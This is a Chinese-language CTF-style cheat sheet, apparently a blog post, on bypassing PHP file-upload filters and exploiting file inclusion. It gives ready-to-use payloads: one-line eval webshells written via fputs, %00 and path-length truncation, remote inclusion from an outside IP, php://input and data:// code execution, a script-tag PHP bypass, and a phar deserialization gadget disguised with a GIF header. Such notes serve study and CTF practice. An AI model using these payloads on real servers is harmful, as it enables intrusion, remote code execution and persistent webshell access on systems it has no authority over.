文件上传/文件包含

文件上传

1、前端验证

如:检测 . 后的后缀名

绕过方式:burp进行抓包修改后缀

2、后端验证

(1)获取文件名,过滤php后缀

绕过方式1:.php4 .php5 .phtml

php2, php3, php4, php5, phps, pht, phtm, phtml

绕过方式2:apache解析漏洞,从后向前知道可以识别的后缀,如 aaa.php.lyc

(2)对文件MIME类型进行判断

比如:if ($_FILES["file"]["type"] != "image/jpeg")echo("wrong file");

(其值是从请求数据包中的Content-type中获取的)

绕过方式:抓包改Content-type

(3)文件幻数检测

比如:获取图片的宽高信息,若获取不到表示不是图片格式

绕过方式:winhex打开补充图片头部对应的值

各种文件头部对应值:

(a) .JPEG;.JPE;.JPG,”JPGGraphic File”

(b) .gif,”GIF89A”

(c) .zip,”Zip Compressed”

(d) .doc;.xls;.xlt;.ppt;.apr,”MS Compound Document v1 or Lotus Approach APRfile”

(4)文件截断绕过

00代表结束符,php会把00后面的所有字符删除

限制条件:php版本小于5.3.4、magic_quotes_gpc为OFF状态、对文件名进行处理,上传的 为asd.php,处理后为asd20191011xctf.jpg。此时我们可以使用asd.php%00 处理后,00后面都没了,文件变为asd.php,从而达到效果。 该方式限制条件太多,不好使用。。

(5)判断文件内容,是否含有脚本代码

利用系统监测判断的时间,迅速访问上传的php,使在服务器间接生成脚本

如:

<?php

fputs(fopen('../shell.php','w'), '<?php @eval($_POST['key']);?>');

?>

文件包含

https://www.freebuf.com/articles/web/182280.html

1、函数:require()、require_once()、include()、include_once()

引入的文件,会当作代码嵌入进来并可以运行,只要代码符合php规范,文件的命名不会影响解析

2、本地包含

本地包含处理绕过,示例代码:

<?php $filename = $_GET['filename']; include($filename . ".html"); ?>

(1)%00截断 【条件:magic_quotes_gpc = Off php版本<5.3.4】

对文件的后缀名进行了处理,此时我们可以上传../../flag.php%00 则后面的.html将失效

(2)路径长度截断

Windows下目录最大长度为256字节,超出的部分会被丢弃;

Linux下目录最大长度为4096字节,超出的部分会被丢弃。

1.php/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././ 构造很长的字符串即可

3、远程包含

(1)如:http://127.0.0.1:8086/2.php?a=http://62.234.125.14/index.php

(要求allow_url_include状态为On)

》针对此种情况,我们可以利用system进行任意命令的执行,从而可以获取到想要的信息。

(2)远程包含shell 如:<?php fputs(fopen('../shell.php','w'), '<?php @eval($_POST['key']);?>');?>

(要求allow_url_fopen状态为On)

4、使用php伪协议

php://filter/read=convert.base64-encode/resource=xxx.php

【http://】内网探测,SSRF

 

【file://伪协议 (读取文件内容)】

通过file协议可以访问本地文件系统,读取到文件的内容

 

【input:// 读取执行post数据】要求PHP<5.3.0

接收post请求作为输入流的输入,将请求作为PHP代码的输入传递给目标变量

示例:

<?php $filename = $_GET['filename']; include($filename); ?>

POST方式传参php代码即可执行:1.若传入<?PHP fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>');?>即可植入一句话木马 2.若传入<?php system("ls");?>则可以执行命令

 

【data://命令执行】

将原本的include的文件流重定向到了用户可控制的输入流中,简单来说就是执行文件的包含方法包含了你的输入流

http://127.0.0.1:8086/2.php?a=data://text/plain,<?php phpinfo(); ?> //运行php代码

http://127.0.0.1:8086/2.php?a=data://text/plain;base64,SSBsb3ZlIFBIUAo= // 打印 "I love PHP"

 

zlib:// -- bzip2:// -- zip:// — 压缩流

 

【phar:// 压缩流】

shell.php代码:

<?php eval($_POST['cmd']); ?>

传入cmd参数:

 

 

题目绕过:

1、对于内容里面的<?php ?>进行了过滤(替换为_ 双写也无法绕过),导致php脚本无法被解析,无法运行以及使用菜刀。

绕过:使用<script language=php>system('ls');</script>

然后 http:x.x.x.x/index.php?file=upload/123.jpg 进行php解析执行 文件包含是可以对jpg格式但是内容为php代码规范的文件按照php解析的,而直接访问jpg路径 http:x.x.x.x/upload/123.jpg 是无法按照php进行解析的,只是返回内容

2、对上传文件格式进行限制,比如只允许上传gif

(1)通过phar://协议进行解析压缩包中的脚本解析,如上面的phar部分

(2)使用phar://的序列化的漏洞

phar://跟php://filter 、data://那些一样,都是流包装,可以将一组php文件进行打包,可以创建默认执行的stub,stub就是一个标志,格式xxx<?php xxxxx; __HALT_COMPILER();?>,结尾一定是__HALT_COMPILER();?>,不然phar识别不了phar文件

 

<?php
class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
$phar = new Phar('phar1.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');//gif伪装,phar标识
$phar -> addFromString('test.txt','test');
$object = new AnyClass();
$object -> data = 'phpinfo();';
$phar -> setMetadata($object);
?>

上面的会产生一个phar文件,类似于jar包将生成的phar.phar反序列化一下:

<?php
class AnyClass{
    function __destruct()
    {
        eval($this -> data);
    }
}
    include ('phar://phar1.phar');
    include ($_GET['asdf']);
?>

就会执行phpinfo()代码,phar的后缀可以任意改变,phar://只通过phar标识进行识别和解析

http://localhost:8086/2.php?asdf=phar://phar1.gif

 

 

  • 1
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值